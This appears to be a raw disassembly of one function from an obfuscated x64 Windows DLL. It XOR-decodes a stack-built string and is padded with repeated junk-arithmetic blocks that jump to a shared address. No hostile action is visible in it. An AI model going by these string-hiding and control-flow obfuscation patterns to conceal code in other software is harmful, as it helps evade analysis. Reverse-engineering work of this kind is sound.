mov byte [rsp + 0x6b], 0x1f
mov byte [rsp + 0x6c], 0x4c
mov byte [rsp + 0x6d], 0x44
mov byte [rsp + 0x6e], 0x14
mov byte [rsp + 0x6f], 0x54
mov byte [rsp + 0x70], 0x5a
mov byte [rsp + 0x71], 0x45
mov byte [rsp + 0x72], 0x30
mov byte [rsp + 0x73], 0x3b
mov byte [rsp + 0x74], 9
mov byte [rsp + 0x75], 0xb
mov byte [rsp + 0x76], 0xd
mov byte [rsp + 0x77], r14b
mov byte [rsp + 0x78], 9
mov byte [rsp + 0x79], 0x30
mov byte [rsp + 0x7a], 0x19
mov byte [rsp + 0x7b], 0x1f
mov byte [rsp + 0x7c], 9
mov byte [rsp + 0x7d], 0x1e
mov byte [rsp + 0x7e], 0x42
mov byte [rsp + 0x7f], 8
mov byte [rbp - 0x80], 0xd
mov byte [rbp - 0x7f], 0x18
xor eax, eax
mov byte [rbp - 0x7e], al
mov al, byte [rsp + 0x5c]
mov r8, rsi
push rax
pushf
mov eax, 0xb641faf6
pushf
not eax
add eax, 0xa0302b6e
xor eax, 0xacedb512
rol eax, 0xb1
popf
pushf
not eax
add eax, 0x8ad43001
xor eax, 0x8029a5f9
rol eax, 0x70
popf
jmp 0x18003bd9a
movsx edx, byte [rsp + r8 + 0x5c]
mov eax, dword [rsp + 0x58]
movsx ecx, al
mov eax, edx
xor eax, ecx
mov byte [rsp + r8 + 0x5c], al
push r14
not r14
sub r8, r14
pop r14
sub r8, 1
cmp r8, 0x26
jb 0x18003d31d
push rax
pushf
mov eax, 0x89dedf87
pushf
not eax
add eax, 0xa8591a92
xor eax, 0xda426ba4
rol eax, 0x32
popf
pushf
not eax
add eax, 0x97bbcc75
xor eax, 0xeae00cb8
rol eax, 0xcf
popf
pushf
not eax
add eax, 0xed83e7b9
xor eax, 0x81ee07ca
rol eax, 0x44
popf
jmp 0x18003bd9a
push rax
pushf
mov eax, 0x632fd7ae
pushf
not eax
add eax, 0x933a3d8a
xor eax, 0x830f26f8
rol eax, 0xcb
popf
pushf
not eax
add eax, 0xb56ca1fc
xor eax, 0x8b138463
rol eax, 0x8f
popf
jmp 0x18003bd9a
mov byte [rbp - 0x7e], sil
lea rdx, [rsp + 0x5c]
lea rcx, [rbp + 0x150]
call fcn.18000f368
nop
mov rcx, qword [rbp + 0x150]
movsxd rax, dword [rcx + 4]
test byte [rbp + rax + 0x160], 6
jne 0x18003d3ae
push rax
pushf
mov eax, 0xc31b562b
pushf
not eax
add eax, 0xacdc30fb
xor eax, 0xdace6bef
rol eax, 0x88
popf
pushf
not eax
add eax, 0xfa72328f
xor eax, 0xafc1125b
rol eax, 0xe7
popf
jmp 0x18003bd9a
push rax
pushf
mov eax, 0x929847cf
pushf
not eax
add eax, 0xf3d0a4c0
xor eax, 0xa7580842
rol eax, 0x67
popf
pushf
not eax
add eax, 0xbe76d49e
xor eax, 0x8e4c7a22
rol eax, 0x7d
popf
jmp 0x18003bd9a
lea rdx, [rbp - 0x78]
cmp qword [rbp - 0x60], 8
cmovae rdx, qword [rbp - 0x78]
mov r8, qword [rbp - 0x68]
lea rcx, [rbp + 0x150]
call fcn.18001109c
mov rcx, qword [rbp + 0x150]
push rax
pushf
mov eax, 0xe9888aaa
pushf
not eax
add eax, 0xdd28a753
xor eax, 0xa1e42871
rol eax, 0x7e
popf
pushf
not eax
add eax, 0xf5759ba5
xor eax, 0xa2f89280
rol eax, 0x55
popf
pushf
not eax
add eax, 0x89e2efe7
xor eax, 0x91082e91
rol eax, 0x8b
popf
pushf
not eax
add eax, 0xc3ead472
xor eax, 0xe3d34088
rol eax, 0x66
popf
jmp 0x18003bd9a
movups xmm0, xmmword [rbp - 0x78]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [rbp - 0x68]
movups xmmword [rdi + 0x10], xmm1
mov qword [rbp - 0x68], rsi
mov qword [rbp - 0x60], r13
mov word [rbp - 0x78], si
movsxd rax, dword [rcx + 4]
lea rcx, [0x1dad6dfa8]
pushf
sub rcx, 0x5ad52120
popf
mov qword [rbp + rax + 0x150], rcx
mov rax, qword [rbp + 0x150]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x14c], edx
lea rcx, [rbp + 0x158]
call fcn.18000fca4
lea rcx, [rbp + 0x160]
jmp 0x18003d4c4
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
lea rcx, [rbp + 0x1f8]
jmp 0x18003d4d2
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
nop
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x30], r15
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x34], edx
lea rcx, [rbp - 0x20]
call fcn.18000fca4
lea rcx, [rbp - 0x18]
jmp 0x18003d506
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
lea rcx, [rbp + 0x80]
jmp 0x18003d514
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
nop
lea rcx, [rbp - 0x78]
call fcn.180005d48
mov rax, rdi
lea r11, [rsp + 0x560]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop rdi
pop rbp
ret